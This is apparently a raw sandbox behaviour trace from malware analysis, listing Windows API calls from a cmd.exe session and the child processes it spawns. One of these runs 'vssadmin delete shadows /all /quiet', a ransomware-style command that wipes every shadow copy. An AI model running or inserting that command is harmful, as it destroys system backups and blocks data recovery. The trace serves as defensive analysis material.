[0206.730] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0217.433] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cf2a8 | out: lpExitCode=0x2cf2a8*=0x2) returned 1 [0217.434] CloseHandle (hObject=0x50) returned 1 [0217.434] _vsnwprintf (in: _Buffer=0x2cf518, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cf2b8 | out: _Buffer="00000002") returned 8 [0217.435] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0217.436] GetProcessHeap () returned 0x3f0000 [0217.436] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40e9b0 | out: hHeap=0x3f0000) returned 1 [0217.436] GetEnvironmentStringsW () returned 0x4089c0* [0217.437] GetProcessHeap () returned 0x3f0000 [0217.437] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb22) returned 0x40e9b0 [0217.437] FreeEnvironmentStringsW (penv=0x4089c0) returned 1 [0217.437] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0217.437] GetProcessHeap () returned 0x3f0000 [0217.437] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40e9b0 | out: hHeap=0x3f0000) returned 1 [0217.437] GetEnvironmentStringsW () returned 0x4089c0* [0217.437] GetProcessHeap () returned 0x3f0000 [0217.437] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb22) returned 0x40e9b0 [0217.438] FreeEnvironmentStringsW (penv=0x4089c0) returned 1 [0217.438] GetProcessHeap () returned 0x3f0000 [0217.438] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x409ac0 | out: hHeap=0x3f0000) returned 1 [0217.438] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cf378 | out: lpAttributeList=0x2cf378) [0217.438] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0217.444] _get_osfhandle (_FileHandle=1) returned 0xf4 [0217.444] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0217.445] _get_osfhandle (_FileHandle=1) returned 0xf4 [0217.445] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a1ee194 | out: lpMode=0x4a1ee194) returned 0 [0217.447] _get_osfhandle (_FileHandle=0) returned 0xe8 [0217.447] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a1ee198 | out: lpMode=0x4a1ee198) returned 0 [0217.447] GetConsoleOutputCP () returned 0x4e3 [0217.448] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a1fbfe0 | out: lpCPInfo=0x4a1fbfe0) returned 1 [0217.449] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0217.451] GetProcessHeap () returned 0x3f0000 [0217.451] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x409c60 | out: hHeap=0x3f0000) returned 1 [0217.451] GetProcessHeap () returned 0x3f0000 [0217.452] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ba00 | out: hHeap=0x3f0000) returned 1 [0217.452] GetProcessHeap () returned 0x3f0000 [0217.452] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405bb0 | out: hHeap=0x3f0000) returned 1 [0217.452] GetProcessHeap () returned 0x3f0000 [0217.452] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40b9a0 | out: hHeap=0x3f0000) returned 1 [0217.452] GetProcessHeap () returned 0x3f0000 [0217.452] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x409a50 | out: hHeap=0x3f0000) returned 1 [0217.452] GetProcessHeap () returned 0x3f0000 [0217.452] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40aae0 | out: hHeap=0x3f0000) returned 1 [0217.452] GetProcessHeap () returned 0x3f0000 [0217.452] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x410090 | out: hHeap=0x3f0000) returned 1 [0217.452] GetProcessHeap () returned 0x3f0000 [0217.453] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x404630 | out: hHeap=0x3f0000) returned 1 [0217.453] GetProcessHeap () returned 0x3f0000 [0217.453] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x409840 | out: hHeap=0x3f0000) returned 1 [0217.454] _vsnwprintf (in: _Buffer=0x4a206340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf7d8 | out: _Buffer="\r\n") returned 2 [0217.454] _get_osfhandle (_FileHandle=1) returned 0xf4 [0217.454] GetFileType (hFile=0xf4) returned 0x3 [0217.454] _get_osfhandle (_FileHandle=1) returned 0xf4 [0217.454] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a1fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0217.454] WriteFile (in: hFile=0xf4, lpBuffer=0x4a1fc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesWritten=0x2cf7a8*=0x2, lpOverlapped=0x0) returned 1 [0217.455] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a1ef360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0217.455] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a1fc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0217.455] _vsnwprintf (in: _Buffer=0x4a1eeb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf7e8 | out: _Buffer="C:\\Windows\\system32") returned 19 [0217.456] _vsnwprintf (in: _Buffer=0x4a1eeb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x2cf7e8 | out: _Buffer=">") returned 1 [0217.456] _get_osfhandle (_FileHandle=1) returned 0xf4 [0217.457] GetFileType (hFile=0xf4) returned 0x3 [0217.457] _get_osfhandle (_FileHandle=1) returned 0xf4 [0217.457] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a1fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0217.457] WriteFile (in: hFile=0xf4, lpBuffer=0x4a1fc320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x2cf7d8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesWritten=0x2cf7d8*=0x14, lpOverlapped=0x0) returned 1 [0217.457] _get_osfhandle (_FileHandle=0) returned 0xe8 [0217.457] GetFileType (hFile=0xe8) returned 0x3 [0217.458] _get_osfhandle (_FileHandle=0) returned 0xe8 [0217.458] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.459] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0217.459] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe320, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0217.459] _get_osfhandle (_FileHandle=0) returned 0xe8 [0217.459] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.459] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0217.459] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe322, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0217.464] _get_osfhandle (_FileHandle=0) returned 0xe8 [0217.464] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.464] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0217.464] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe324, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0217.464] _get_osfhandle (_FileHandle=0) returned 0xe8 [0217.464] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.465] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0217.465] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe326, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0217.465] _get_osfhandle (_FileHandle=0) returned 0xe8 [0217.465] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.465] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0217.465] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe328, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0217.465] _get_osfhandle (_FileHandle=0) returned 0xe8 [0217.465] GetFileType (hFile=0xe8) returned 0x3 [0217.469] _get_osfhandle (_FileHandle=0) returned 0xe8 [0217.469] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.469] _get_osfhandle (_FileHandle=1) returned 0xf4 [0217.469] GetFileType (hFile=0xf4) returned 0x3 [0217.470] _get_osfhandle (_FileHandle=1) returned 0xf4 [0217.470] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x4a1fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0217.470] WriteFile (in: hFile=0xf4, lpBuffer=0x4a1fc320*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2cfab8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesWritten=0x2cfab8*=0x5, lpOverlapped=0x0) returned 1 [0217.470] GetProcessHeap () returned 0x3f0000 [0217.471] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4012) returned 0x412010 [0217.473] GetProcessHeap () returned 0x3f0000 [0217.473] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x412010 | out: hHeap=0x3f0000) returned 1 [0217.473] GetProcessHeap () returned 0x3f0000 [0217.473] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x409840 [0217.473] GetProcessHeap () returned 0x3f0000 [0217.473] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1a) returned 0x404630 [0217.474] GetConsoleOutputCP () returned 0x4e3 [0217.475] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a1fbfe0 | out: lpCPInfo=0x4a1fbfe0) returned 1 [0217.475] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0217.476] GetConsoleTitleW (in: lpConsoleTitle=0x2cfa70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0217.477] GetProcessHeap () returned 0x3f0000 [0217.477] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x14) returned 0x408940 [0217.477] GetProcessHeap () returned 0x3f0000 [0217.477] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1a) returned 0x404660 [0217.477] GetProcessHeap () returned 0x3f0000 [0217.477] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21c) returned 0x40b9a0 [0217.477] GetConsoleTitleW (in: lpConsoleTitle=0x40b9b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0217.478] GetProcessHeap () returned 0x3f0000 [0217.479] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x40b9a0, Size=0x62) returned 0x40b9a0 [0217.479] GetProcessHeap () returned 0x3f0000 [0217.479] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40b9a0) returned 0x62 [0217.479] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - Exit") returned 1 [0217.485] GetProcessHeap () returned 0x3f0000 [0217.485] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40b9a0 | out: hHeap=0x3f0000) returned 1 [0217.486] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0217.489] exit (_Code=2) Process: id = "11" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x741b2000" os_pid = "0x684" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x5d4" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebe9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 75 os_tid = 0x688 Process: id = "12" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x72abf000" os_pid = "0x6d0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x5d4" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebe9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 78 os_tid = 0x6d4 Thread: id = 79 os_tid = 0x6f4 Thread: id = 80 os_tid = 0x70c Thread: id = 81 os_tid = 0x714 Thread: id = 82 os_tid = 0x718